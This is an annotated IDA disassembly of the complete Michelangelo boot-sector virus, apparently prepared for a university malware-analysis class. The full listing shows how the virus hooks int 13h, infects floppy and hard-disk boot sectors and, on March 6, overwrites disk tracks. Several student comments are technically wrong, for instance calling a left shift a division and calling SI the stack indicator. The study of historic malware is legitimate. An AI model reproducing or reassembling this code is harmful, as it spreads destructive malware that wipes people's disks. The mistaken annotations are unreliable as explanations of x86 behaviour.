```
seg000:7C00 ;
seg000:7C00 ; +-------------------------------------------------------------------------+
seg000:7C00 ; | This file has been generated by The Interactive Disassembler (IDA) |
seg000:7C00 ; | Copyright (c) 2014 Hex-Rays, <support@hex-rays.com> |
seg000:7C00 ; | License info: 48-B071-723;4-BB |
seg000:7C00 ; | Golden Richard, University of New Orleans |
seg000:7C00 ; +-------------------------------------------------------------------------+
seg000:7C00 ;
seg000:7C00 ; Input MD5 : 3FFC402675E30C6E42560EAA0A90A2B7
seg000:7C00 ; Input CRC32 : 827C7725
seg000:7C00
seg000:7C00 ; ---------------------------------------------------------------------------
seg000:7C00 ; File Name : /Users/golden/Work/class/4622/examples/MICHELANGELO/m.1
seg000:7C00 ; Format : Binary file
seg000:7C00 ; Base Address: 0000h Range: 0000h - 0200h Loaded length: 0200h
seg000:7C00
seg000:7C00 .686p                                                                   ;enables assembly of all instructions
                                                                                    (including privileged) on Pentium Pro

seg000:7C00 .mmx                                                                    ;single-instruction, multiple data
                                                                                    (SIMD) operation
seg000:7C00 .model flat                                                             ;32 bit memory-model
seg000:7C00
seg000:7C00 ; ===========================================================================
seg000:7C00
seg000:7C00 ; Segment type: Regular
seg000:7C00 seg000 segment byte public '' use16                                     ;tells MASM to treat segment as 16-bit
seg000:7C00 assume cs:seg000                                                        ;code segment assigned ‘seg000’
seg000:7C00 ;org 7C00h
seg000:7C00 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing       ;sets es, ss, ds, fs, gs null
seg000:7C00 jmp loc_7CAF                                                            ;moves to location loc_7CAF, page 3
seg000:7C00 ; ---------------------------------------------------------------------------
seg000:7C03 unk_7C03 db 0F5h ; õ ; DATA XREF: seg000:7CF0r                          ;places data byte 0F5h at 7C03
                                                                                    ;0000 0000 1111 0101
seg000:7C04 db 0                                                                    ;placeholder
seg000:7C05 word_7C05 dw 0 ; DATA XREF: seg000:7CD8w                                ;define word value ‘0’ at 7C05
seg000:7C07 db 2                                                                    ;define byte value ‘2’ at 7C07
seg000:7C08 db 0Eh                                                                  ;define byte value ‘0Eh’ at 7C08
                                                                                    ;7C08 = 0000 0000 0000 1110
seg000:7C09 db 0                                                                    ;placeholder
seg000:7C0A word_7C0A dw 9739h ; DATA XREF: seg000:7CC1w                            ;define word value ‘9739h’ at 7C0A
                                                                                    ;7C0A = 0010 0110 0000 1011
seg000:7C0C word_7C0C dw 0F000h ; DATA XREF: seg000:7CC7w                           ;define word value ‘0F000h’ at 7C0C
                                                                                    ;7C0C = 1111 0000 0000 0000
seg000:7C0E ; ---------------------------------------------------------------------------
seg000:7C0E push ds                                                                 ;push ds value into stack
seg000:7C0F push ax                                                                 ;push ax register value into stack
seg000:7C10 or dl, dl                                                               ;bitwise OR operation on register dl
```

```
seg000:7C12 jnz short loc_7C2F                                                          ; ///
seg000:7C14 xor ax, ax                                                                  ;clear ax register
seg000:7C16 mov ds, ax                                                                  ;set ds to equal ax (0h)

seg000:7C18 test byte ptr ds:43Fh, 1                                                    ;tests if bit value at
                                                                                        ;ds:43Fh (0000 0100 0011 1111) = 1
                                                                                        ;checks drive motor status
                                                                                        ;1 indicates a drive motor is running

seg000:7C1D jnz short loc_7C2F                                                          ;jump to 7C2F if zero-flag is clear on
                                                                                        ;ZF, ds:43Fh
                                                                                        ;--> if jnz fails, continue through

seg000:7C1F pop ax                                                                      ;pop ax from stack
seg000:7C20 pop ds                                                                      ;pop ds from stack, stack cleared
seg000:7C21 pushf                                                                       ;push EFLAG lower 16-bits onto stack
seg000:7C22 call dword ptr cs:0Ah                                                       ;call cs register 32-bit offset segment
                                                                                        ;at 0Ah (0000 0000 0000 1010)
                                                                                        ;?value is stored into EFLAG
seg000:7C27 pushf                                                                       ;push flag onto stack
```

```
seg000:7C28 call sub_7C36                                                               ;call subroutine stored at 7C36
seg000:7C2B popf                                                                        ;pop flag from stack
seg000:7C2C retf 2                                                                      ;return and pop 2 bytes from stack
                                                                                        ;stack pointing at ds

seg000:7C0E
|            stack is initialized as ax value -> dx value, dl is OR’d
|            ?? jnz short loc_7C2F
|            ax is cleared, and 0 value of ax is assigned to ds
|            motor spin is tested at memory map loc 0043F, with a jump occurring to loc_7C2F if value returned by 7C18 == 1
|                  :::a drive motor status of 1 indicates a running drive motor
|            if drive motor is not spinning, continue on
|            ax and dx are popped from stack
|            pushf pushes lower 16-bits onto stack
|            subroutine 7C36 initialized
|            flag value popped from stack
|            stack lower 16-bits are released upon return from function
seg000:7C2C


seg000:7C2F ; ---------------------------------------------------------------------------
seg000:7C2F
seg000:7C2F loc_7C2F:                       ; CODE XREF: seg000:7C12j
seg000:7C2F                                 ; seg000:7C1Dj
seg000:7C2F pop ax                                                                      ;pop ax from stack
seg000:7C30 pop ds                                                                      ;pop ds from stack
seg000:7C31 jmp dword ptr cs:0Ah                                                        ;moves to 32-bit 0Ah address in cs reg.
```

```
seg000:7C2F
|      ax and ds are popped from stack
|      value 0Ah (0000 0000 0000 1010) stored into code segment
seg000:7C31

seg000:7C36
seg000:7C36 ; =============== S U B R O U T I N E =======================================
seg000:7C36
seg000:7C36
seg000:7C36 sub_7C36 proc near ; CODE XREF: seg000:7C28p                               ;execute subroutine with cs stored in
                                                                                       7C36
seg000:7C36 push ax                                                                    ;|
seg000:7C37 push bx                                                                    ;|
seg000:7C38 push cx                                                                    ;|
seg000:7C39 push dx                                                                    ;|
seg000:7C3A push ds                                                                    ;|     ax,bx,cx,dx,ds,es,si,di,cs
seg000:7C3B push es                                                                    ;|     are pushed onto the stack
seg000:7C3C push si                                                                    ;|
seg000:7C3D push di                                                                    ;|
seg000:7C3E push cs                                                                    ;|
seg000:7C3F pop ds                                                                     ;      pop ds from stack
seg000:7C40 push cs                                                                    ;      push cs onto stack
seg000:7C41 pop es                                                                     ;      pop es from stack
seg000:7C42 mov si, 4                                                                  ;store value of 4 into si register
seg000:7C45
seg000:7C45 loc_7C45:          ; CODE XREF: sub_7C36+29j
seg000:7C45 mov ax, 201h                                                               ;store value of 201h into ax register
                                                                                       ;201h  = 0000 0010 0000 0001
seg000:7C48 mov bx, 200h                                                               ;store value of 200h into bx register
                                                                                       ;200h = 0000 0010 0000 0000
seg000:7C4B mov cx, 1                                                                  ;store value of 0001 into cx register
seg000:7C4E xor dx, dx                                                                 ;clear dx register
seg000:7C50 pushf                                                                      ;push flag onto stack, decrement
                                                                                       ;stack pointer by 2 bytes
seg000:7C51 call dword ptr ds:0Ah                                                      ;call 32-bit value stored in ds 0Ah
seg000:7C55 jnb short loc_7C63                                                         ;jump if flag is clear
seg000:7C57 xor ax, ax                                                                 ;clear ax register
seg000:7C59 pushf                                                                      ;push flag onto stack
seg000:7C5A call dword ptr ds:0Ah                                                      ;call lower 32-bit stored at ds 0Ah
seg000:7C5E dec si                                                                     ;decrement si register
seg000:7C5F jnz short loc_7C45                                                         ;jump to 7C45 if flag non-zero, else ->
seg000:7C61 jmp short loc_7CA6                                                         ;jump to 7CA6

seg000:7C36
|            stack is initialized: cs->di->si->es->ds->dx->cx->bx->ax
|            ds is popped from stack, grabbing value of cs
|            ::cs->di->si->es->dx->cx->bx->ax
|            after cs is pushed back onto stack, es is popped, grabbing information of cs
|            stack indicator is reset to 4
|            ax is assigned value 513, bx is assigned value 512, cx is assigned value 1
|            dx is XOR’d, clearing register value
|            flag is pushed onto stack, decrementing stack pointer by 2 bytes, stack is now pointing to di
|            data segment 0000 0000 0000 0000 0000 0000 0000 1010 is called
|
|
seg000:7C61



seg000:7C63 ; ---------------------------------------------------------------------------
seg000:7C63
seg000:7C63 loc_7C63:          ; CODE XREF: sub_7C36+1Fj
seg000:7C63 xor si, si                                                                 ;clear si register
seg000:7C65 cld                                                                        ;clear direction flag
seg000:7C66 lodsw                                                                      ;read value at offset 0 (si = 0)
                                                                                       ;read second word of virus in upper
                                                                                       ;memory (currently executing copy)
seg000:7C67 cmp ax, [bx]                                                               ;used to set flag for upcoming jnz
seg000:7C69 jnz short loc_7C71                                                         ;jnz to loc_7C71 given zero flag set
                                                                                        cmp ax, [bx]
```

```
seg000:7C6B lodsw                                                                      ;load 16-bit word into ax register
seg000:7C6C cmp ax, [bx+2]                                                             ;used to set flag for upcoming jz
seg000:7C6F jz short loc_7CA6                                                          ;jump given flag set to 1 set by
                                                                                       ;cmp ax, [bx+2]
seg000:7C71
seg000:7C71 loc_7C71: ; CODE XREF: sub_7C36+33j
seg000:7C71 mov ax, 301h                                                               ;store 301h value into ax register
seg000:7C74 mov dh, 1                                                                  ;store 1 value into dh register
seg000:7C76 mov cl, 3                                                                  ;store 3 value into cl register
seg000:7C78 cmp byte ptr [bx+15h], 0FDh ; 'ý'                                          ;compare value 0FDh to value at 8-bit
                                                                                       pointer [bx+15h], used for flag-setting
seg000:7C7C jz short loc_7C80                                                          ;jump if =1 to loc_7C80
seg000:7C7E mov cl, 0Eh                                                                ;store 0Eh value into cl register
seg000:7C80
seg000:7C80 loc_7C80: ; CODE XREF: sub_7C36+46j
seg000:7C80 mov ds:8, cx                                                               ;store value of cx register into ds:8
seg000:7C84 pushf                                                                      ;push flag onto stack
seg000:7C85 call dword ptr ds:0Ah                                                      ;call value at ds:0Ah 32-bit pointer
seg000:7C89 jb short loc_7CA6                                                          ;jump-if-below 16-bit value at 7CA6
seg000:7C8B mov si, 3BEh                                                               ;store 3BEh value into si register
seg000:7C8E mov di, 1BEh                                                               ;store 1BEh value into di register
seg000:7C91 mov cx, 21h ; '!'                                                          ;store 21h value into cx register
seg000:7C94 cld                                                                        ;clear direction flag
seg000:7C95 rep movsw                                                                  ;repeat move-word 33 (21h) times
                                                                                        according to cx flag
seg000:7C97 mov ax, 301h                                                               ;store 301h value into ax register
```

```
seg000:7C9A xor bx, bx                                                   ;clear bx register
seg000:7C9C mov cx, 1                                                    ;store 1 value into cx register
seg000:7C9F xor dx, dx                                                   ;clear dx register
seg000:7CA1 pushf                                                        ;push flag onto stack
seg000:7CA2 call dword ptr ds:0Ah                                        ;call value at ds:0Ah
seg000:7CA6
seg000:7CA6 loc_7CA6:          ; CODE XREF: sub_7C36+2Bj
seg000:7CA6                    ; sub_7C36+39j ...
seg000:7CA6 pop di                                                       ;|
seg000:7CA7 pop si                                                       ;|
seg000:7CA8 pop es                                                       ;|
seg000:7CA9 pop ds                                                       ;|    pop di,si,es,ds,dx,cx,bx,ax
seg000:7CAA pop dx                                                       ;|    from stack
seg000:7CAB pop cx                                                       ;|
seg000:7CAC pop bx                                                       ;|    stack clear
seg000:7CAD pop ax                                                       ;|
seg000:7CAE retn                                                         ;return
seg000:7CAE sub_7C36 endp                                                ;end subroutine 7C36
seg000:7CAE
seg000:7CAF ; ---------------------------------------------------------------------------
seg000:7CAF                                                              ;jmp loc_7CAF caught here
seg000:7CAF loc_7CAF:          ; CODE XREF: seg000:7C00j
seg000:7CAF xor ax, ax                                                   ;clear ax register
seg000:7CB1 mov ds, ax                                                   ;assign empty value to data segment
seg000:7CB3 cli                                                          ;clear interrupt flag (disable sysint)
seg000:7CB4 mov ss, ax                                                   ;set stack segment
seg000:7CB6 mov ax, 7C00h                                                ;assign 7C00h value into ax register
                                                                         ;(load address of virus)
 seg000:7CB9 mov sp, ax                                                  ;assign 7C00h(ax) value into stack
                                                                          pointer

                             ;boot sector is allocated to stack and operated on
```

```
seg000:7CBB sti                                                          ;set interrupt flag
seg000:7CBC push ds                                                      ;push ds onto stack
seg000:7CBD push ax                                                      ;push ax onto stack
seg000:7CBE mov ax, ds:4Ch                                               ;store ds offset 4Ch value into ax
seg000:7CC1 mov ds:word_7C0A, ax                                         ;store ax register value into
                                                                          16-bits of 7C0C
seg000:7CC4 mov ax, ds:4Eh                                               ;store 4Eh offset value of ds into ax
seg000:7CC7 mov ds:word_7C0C, ax                                         ;store ax register
seg000:7CCA mov ax, ds:413h                                              ;ds:413h moved into ax (size of MS-DOS)
seg000:7CCD dec ax                                                       ;decrement ax
seg000:7CCE dec ax                                                       ;decrement ax
seg000:7CCF mov ds:413h, ax                                              ;store value of ax register into the
                                                                         ;413h offset location of ds
                                                                         ;value at ds offset 413h has been - 2
seg000:7CD2 mov cl, 6                                                    ;store value of 6 into cl
seg000:7CD4 shl ax, cl                                                   ;shl divides by 2^6
```

```
;DOS uses 8086-style segmentation, where:
;      physical address = segment * 16 + offset


seg000:7CD8 mov ds:word_7C05, ax                                                        ;value of ax moved into ds 16-bit 7C05
seg000:7CDB mov ax, 0Eh                                                                 ;value 0Eh (1110) moved into ax
seg000:7CDE mov ds:4Ch, ax                                                              ;4C / 4 = 13, int13 is targeted
                                                                                        ;0Eh moved into ds:4Ch (int13)
seg000:7CE1 mov word ptr ds:4Eh, es                                                     ;store value of es into ds:4Eh
seg000:7CE5 mov cx, 1BEh                                                                ;1BEh (0001 1011 1110) moved into cx
seg000:7CE8 mov si, 7C00h                                                               ;7C00h (0111 1100 0000 0000) moved into
                                                                                        ;si
seg000:7CEB xor di, di                                                                  ;di cleared
seg000:7CED cld                                                                         ;direction flag cleared
seg000:7CEE rep movsb                                                                   ;copies michelangelo to high memory
seg000:7CF0 jmp dword ptr cs:unk_7C03                                                   ;jump to high-memory 7CF5
seg000:7CF5 ; ----------------------------------------------------------------------------
seg000:7CF5 xor ax, ax                                                                  ;ax cleared
seg000:7CF7 mov es, ax                                                                  ;value of ax moved into es
seg000:7CF9 int 13h ; DISK - RESET DISK SYSTEM                                          ;interrupt - reset disk system
seg000:7CF9 ; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
seg000:7CFB push cs                                                                     ;push cs onto stack
seg000:7CFC pop ds                                                                      ;pop ds from stack with value cs
seg000:7CFD mov ax, 201h                                                                ;move 201h into ax
seg000:7D00 mov bx, 7C00h                                                               ;move start location into bx
seg000:7D03 mov cx, ds:8                                                                ;move ds:8 into cx
seg000:7D07 cmp cx, 7                                                                   ;checks for running drive motor
seg000:7D0A jnz short loc_7D13                                                          ;jump non-zero to loc_7D13
seg000:7D0C mov dx, 80h ; '€'                                                           ;move 80h into dx
seg000:7D0F int 13h ; DISK - READ SECTORS INTO MEMORY                                   ;interrupt 13h call
seg000:7D0F ; AL = number of sectors to read, CH = track, CL = sector
seg000:7D0F ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7D0F ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:7D11 jmp short loc_7D3E                                                          ;jump to loc_7D3E

seg000:7CF5
|                  ax is cleared, and then that cleared ax value is loaded into es
|                  ds:si = 0h:7C00h   (data segment: segment index)
|                  es:di = 0h:0h      (extra segment: destination index)
|                  int 13h is called, with ax value 0f this causes a “get status of disk systems” call
|                  this is used to force controller to recalibrate read/write heads, or reset all drives
|                  cs is pushed onto stack, ds is popped off stack
|                  201h is assigned to ax, 7C00h is assigned to bx, value at ds:8 is assigned to cx, and then compared
|                        7, checking for running drive motor
|                  jump if drive motor is running, otherwise continue
|                  80h is moved into dx, and int 13h is called
|                  because ax = 0010 0000 0001, ah = 02h, causing a sector read function to occur
|                        AL = 0000 0001, CH = 0000 0001 0000 1110, CL = 0000 1110, DH = 0000 0000 1000 0000,
|                        DL = 1000 0000, ES:BX = 0h:7C00h
|                  jump to 7D3E
```

```
seg000:7D11
seg000:7D13 ; ---------------------------------------------------------------------------
seg000:7D13
seg000:7D13 loc_7D13:           ; CODE XREF: seg000:7D0Aj
seg000:7D13 mov cx, ds:8                                                                ;move ds:8 into cx
seg000:7D17 mov dx, 100h                                                                ;move 100h into dx
seg000:7D1A int 13h ; DISK -                                                            ;interrupt 13h call
seg000:7D1C jb short loc_7D3E                                                           ;jump if below loc_7D3E
seg000:7D1E push cs                                                                     ;push cs onto stack
seg000:7D1F pop es                                                                      ;pop es, giving value of cs
```

```
seg000:7D20 mov ax, 201h                                                                ;move value 201h into ax
seg000:7D23 mov bx, 200h                                                                ;move value 200h into bx
seg000:7D26 mov cx, 1                                                                   ;move value 1 into cx
seg000:7D29 mov dx, 80h ; '€'                                                           ;80h into dx
seg000:7D2C int 13h ; DISK - READ SECTORS INTO MEMORY                                   ;interrupt 13h call
seg000:7D2C ; AL = number of sectors to read, CH = track, CL = sector
seg000:7D2C ; DH = head, DL = drive, ES:BX -> buffer to fill
seg000:7D2C ; Return: CF set on error, AH = status, AL = number of sectors read
seg000:7D2E jb short loc_7D3E                                                           ;jump if below loc_7D3E
seg000:7D30 xor si, si                                                                  ;clear si register
seg000:7D32 cld                                                                         ;clear direction flag
seg000:7D33 lodsw                                                                       ;load word at address ds:si into ax
seg000:7D34 cmp ax, [bx]                                                                ;ax value is compared to memory contents
                                                                                        ;of register bx, flag is set
seg000:7D36 jnz short loc_7D87                                                          ;jump if cmp ax, [bx] nonzero
                                                                                        ;--> else

seg000:7D20
|            this area serves to check for infection check by analyzing size of disk, searching for missing two kilobytes
|            this is indicated by operations occurring between ax value 201h and bx value 200h
|            this serves to check that the conditions are right to initialize seg000:7D87, which jumps to the attack protocol
seg000:7D36


seg000:7D38 lodsw                                                                       ;load word at address ds:si into ax
seg000:7D39 cmp ax, [bx+2]                                                              ;compare ax again with new value [bx+2]
seg000:7D3C jnz short loc_7D87                                                          ;jump if cmp ax, [bx + 2] nonzero

seg000:7D23
|            value 201h is assigned to ax, and 200h is assigned to bx as preparation for the upcoming infection check
|            value 1 is assigned to cx, and 80h is assigned to dx, interrupt 13h is called
|            ah = 02h ([0000 0010] 0000 0001) causes sector read to occur
|                        AL = 0001, CH = 0000 0000 0000 0001, CL = 0001, DH = 0000 0000 1000 0000,
|                        DL = 0000, ES:BX = 0h:7C00h
|
|            si is cleared, the direction flag is cleared, and the short word located at ds:si is loaded into register ax
|            the value of bx (512) is compared to value of ax (ds:si) to check for code at location 512
|            ditto, value of bx (514) is compared to value of ax (ds:si) to check for code at location 512
|            this is all to check for infection by looking for code written to the 512 - 514kb range
seg000:7D3C

seg000:7D3E
seg000:7D3E loc_7D3E: ; CODE XREF: seg000:7D11j
seg000:7D3E ; seg000:7D1Cj ...
seg000:7D3E xor cx, cx                                                                  ;cx is cleared
seg000:7D40 mov ah, 4                                                                   ;value 4 is moved into ah
seg000:7D42 int 1Ah ; CLOCK - READ DATE FROM REAL TIME CLOCK (AT,XT286,CONV,PS)
seg000:7D42 ; Return: DL = day in BCD
seg000:7D42 ; DH = month in BCD
seg000:7D42 ; CL = year in BCD
seg000:7D42 ; CH = century (19h or 20h)
seg000:7D44 cmp dx, 306h                                                                ;compare value of 306h to dx (80h)
seg000:7D48 jz short loc_7D4B                                                           ;if date matches March 6, execute
seg000:7D4A retf                                                                        ;return

seg000:7D3E
|            cx is cleared, value 4 assigned to ah (0000 0000 0000 0100)
|            interrupt 1A is triggered, function 04h (read real time clock date)
|            ch, cl, dh, dl, and cf are returned to indicate date
|            given Michelangelo's birthday (March 6th), expected dh and dl values are dh = 03h and dl = 06h
|            execution date formatted as 306h to indicate March 6th
|            dx = 0000 0011 0000 0110 indicates March 6th
|            cmp dx, 306h compares the value 306h to dx, checking for March 6th date
|            zero value on ZF indicates that it is indeed March 6th, causing jump to loc_7D4B
|            if zero, jump to loc_7D4B, else retf
seg000:7D4A

seg000:7D4B ; ---------------------------------------------------------------------------
seg000:7D4B                                                                             ;this jump happens on March 6th
seg000:7D4B loc_7D4B: ; CODE XREF: seg000:7D48j
seg000:7D4B xor dx, dx                                                                  ;clear dx register
seg000:7D4D mov cx, 1                                                                   ;move value of 1 into cx

seg000:7D50                                                                             ;beginning of hard drive
                                                                                        ;physical boot sector location search
seg000:7D50 loc_7D50: ; CODE XREF: seg000:7D7Fj
seg000:7D50 ; seg000:7D85j
seg000:7D50 mov ax, 309h                                                                ;move value 309h into ax
seg000:7D53 mov si, ds:8                                                                ;move ds:8 into si
seg000:7D57 cmp si, 3                                                                   ;compare 3 with si
seg000:7D5A jz short loc_7D6C                                                           ;jump if zero to loc_7D6C
seg000:7D5C mov al, 0Eh                                                                 ;move value 0Eh into al
seg000:7D5E cmp si, 0Eh                                                                 ;compare 0Eh with si
seg000:7D61 jz short loc_7D6C                                                           ;jump if zero to loc_7D6C
seg000:7D63 mov dl, 80h ; '€'                                                           ;move value of 80h into dl
seg000:7D65 mov byte ptr ds:7, 4                                                        ;
```

```
seg000:7D6A mov al, 11h                                                                 ;move value 11h into al
seg000:7D6C
seg000:7D6C loc_7D6C: ; CODE XREF: seg000:7D5Aj
seg000:7D6C ; seg000:7D61j
```

```
seg000:7D6C mov bx, 5000h                                                               ;move value 5000h into bx
seg000:7D6F mov es, bx                                                                  ;move value of bx into es
seg000:7D71 assume es:nothing                                                           ;
seg000:7D71 int 13h ; DISK - WRITE SECTORS FROM MEMORY                                  ;reinitialize int 13h
seg000:7D71 ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D71 ; DH = head, DL = drive, ES:BX -> buffer
seg000:7D71 ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7D73 jnb short loc_7D79
seg000:7D75 xor ah, ah                                                                  ;resets controller (sets ah = 0)
seg000:7D77 int 13h ; DISK - RESET DISK SYSTEM
seg000:7D77 ; DL = drive (if bit 7 is set both hard disks and floppy disks reset)

seg000:7D4B
|                  dx register is cleared, value of 1 is moved into cx, value of 309h is assigned to ax
|                  value of data segment offset 8 is assigned to stack indicator, and is compared to value 3
|                  this sets up a jump if zero to loc_7D6C
|                  else, move 0Eh value into al, and compare si to 0Eh to set up for another jump if zero to loc_7D6C
|                  else, move value of 80h into dl, and move value 4 into byte into data segment offset 7
|                  move value of 11h into al, and value 5000h into bx
|                  move value of bx into es, assume es:nothing, call interrupt 13h
|                  ax is valued at 0000 0011 0001 0001, giving ah = 0000 0011, triggering function 03h, sector write
|                  returns carry flag set to 1, indicating error
|                  jump if not below triggers jump to loc_7D79
|                  else, clear ah and re-trigger interrupt 13h using cleared ah register value 0h, disk controller reset
seg000:7D77

seg000:7D79
seg000:7D79 loc_7D79: ; CODE XREF: seg000:7D73j
seg000:7D79 inc dh
seg000:7D7B cmp dh, ds:7                                                                      ;checks if floppy or hard drive
seg000:7D7F jb short loc_7D50                                                                 ;if below 7, jump to track
                                                                                              ;destruction locale
seg000:7D81 xor dh, dh                                                                        ;clear data head value
seg000:7D83 inc ch                                                                            ;increment track
seg000:7D85 jmp short loc_7D50                                                                ;jump to destruction locale
seg000:7D87 ; ---------------------------------------------------------------------------

seg000:7D79
|            if loc_7D73 jnb  short loc_7D79 is not triggered, then increment dh value returned by interrupt 13h function 0h
|            dh is incremented, and compared to ds:7, setting up for a jump if below to loc_7D50
|            else, dh is cleared, ch (disk track) is incremented, and a jump is executed to loc_7D50
|            Michelangelo is searching for a particular location on disk to complete interrupt 13h function 3h
|            this is being done to ensure the proper location is found for deployment of the virus
seg000:7D87

seg000:7D87                                                                                   ;hard drive attack
seg000:7D87 loc_7D87: ; CODE XREF: seg000:7D36j
seg000:7D87 ; seg000:7D3Cj
seg000:7D87 mov cx, 7                                                                         ;store value 7 into cx
seg000:7D8A mov ds:8, cx                                                                      ;store value of cx into ds:8
seg000:7D8E mov ax, 301h                                                                      ;store value 301h into ax
seg000:7D91 mov dx, 80h ; '€'                                                                 ;store value 30h into dx
seg000:7D94 int 13h ; DISK - WRITE SECTORS FROM MEMORY                                        ;interrupt 13h call
seg000:7D94 ; AL = number of sectors to write, CH = track, CL = sector
seg000:7D94 ; DH = head, DL = drive, ES:BX -> buffer
seg000:7D94 ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7D96 jb short loc_7D3E                                                                 ;jump short if CF = 1
seg000:7D98 mov si, 3BEh                                                                      ;move value 3BEh into si
seg000:7D9B mov di, 1BEh                                                                      ;move value 1BEh into di
seg000:7D9E mov cx, 21h ; '!'                                                                 ;move value 21h into cx
seg000:7DA1 rep movsw                                                                         ; perform copy
                                                                                              ; move 16-bits ds:si -> es:di
                                                                                              ; si++ and di++
                                                                                              ; repeats cx times(cx - -)
                                                                                              ; cld causes incrementation
                                                                                              ; std causes decrementation
                                                         ;copy code 21h times while maintaining control of int 13h handler
seg000:7DA3 mov ax, 301h                                                                      ;move value 301h into ax
seg000:7DA6 xor bx, bx                                                                        ;clear bx register
seg000:7DA8 inc cl                                                                            ;increment cl
seg000:7DAA int 13h ; DISK - WRITE SECTORS FROM MEMORY                                        ;interrupt 13h call
seg000:7DAA ; AL = number of sectors to write, CH = track, CL = sector
seg000:7DAA ; DH = head, DL = drive, ES:BX -> buffer
seg000:7DAA ; Return: CF set on error, AH = status, AL = number of sectors written
seg000:7DAC jmp short loc_7D3E                                                                ;jump loc_7D3E
seg000:7DAC ; ---------------------------------------------------------------------------

seg000:7D87
|            value 7 is stored into cx, value of cx is then stored into ds:8
|            301h is stored into ax, 80h is stored into dx, and interrupt 13h function 3h is called, disk write from memory
|            program jumps to loc_7D3E if carry flag = 1
|            else, 3BEh is stored into si, 1BEh is stored into di, and 21h is stored into cx
|            rep movsw:
|                                                                          -
|                        stack indicator: 3BEh          0011 1011 1110     |
|                                                                          | rep movsw carried out cx times (21h/0010 0001/33)
|                                                                          | each time ds:si -> es:di, si++ && di++
|                        destination indicator: 1BEh    0001 1011 1110     |
|                                                                          -
|            after, value of 301h is moved into ax, bx is XOR’d, and the current disk sector is incremented
|            then, a new int 13h is called, with a jump short loc_7D3E repeating the process
|            data is erased through the rep movsw process, and int 13h function 3h is called again, to continue moving through
|            the boot sector, destroying information
seg000:7DAC

seg000:7DAE db 0                                                                             ;empty instructions
seg000:7DAF db 0
seg000:7DB0 db 0
seg000:7DB1 db 0
seg000:7DB2 db 0
seg000:7DB3 db 0
```

```
seg000:7DB4 db 0
seg000:7DB5 db 0
seg000:7DB6 db 0
seg000:7DB7 db 0
seg000:7DB8 db 0
seg000:7DB9 db 0
seg000:7DBA db 0
seg000:7DBB db 0
seg000:7DBC db 0
seg000:7DBD db 0
seg000:7DBE db 0                                                                             ;MBR partition table begins
seg000:7DBF db 0
seg000:7DC0 db 0
seg000:7DC1 db 0
seg000:7DC2 db 0
seg000:7DC3 db 0
seg000:7DC4 db 0
seg000:7DC5 db 0
seg000:7DC6 db 0
seg000:7DC7 db 0
seg000:7DC8 db 0
seg000:7DC9 db 0
seg000:7DCA db 0
seg000:7DCB db 0
seg000:7DCC db 0
seg000:7DCD db 0
seg000:7DCE db 0
seg000:7DCF db 0
seg000:7DD0 db 0
seg000:7DD1 db 0
seg000:7DD2 db 0
seg000:7DD3 db 0
seg000:7DD4 db 0
seg000:7DD5 db 0
seg000:7DD6 db 0
```

```
seg000:7DD7 db 0
seg000:7DD8 db 0
seg000:7DD9 db 0
seg000:7DDA db 0
seg000:7DDB db 0
seg000:7DDC db 0
seg000:7DDD db 0
seg000:7DDE db 0
seg000:7DDF db 0
seg000:7DE0 db 0
seg000:7DE1 db 0
seg000:7DE2 db 0
seg000:7DE3 db 0
seg000:7DE4 db 0
seg000:7DE5 db 0
seg000:7DE6 db 0
```

```
seg000:7DE7 db 0
seg000:7DE8 db 0
seg000:7DE9 db 0
seg000:7DEA db 0
seg000:7DEB db 0
seg000:7DEC db 0
seg000:7DED db 0
seg000:7DEE db 0
seg000:7DEF db 0
seg000:7DF0 db 0
seg000:7DF1 db 0
seg000:7DF2 db 0
seg000:7DF3 db 0
seg000:7DF4 db 0
seg000:7DF5 db 0
seg000:7DF6 db 0
seg000:7DF7 db 0
seg000:7DF8 db 0
seg000:7DF9 db 0
seg000:7DFA db 0
seg000:7DFB db 0
seg000:7DFC db 0
seg000:7DFD db 0
seg000:7DFE db 55h ; U
seg000:7DFF db 0AAh ; ª                                                   ;55h / AA MBR boot sector signature
seg000:7DFF seg000 ends
seg000:7DFF
seg000:7DFF
seg000:7DFF end
```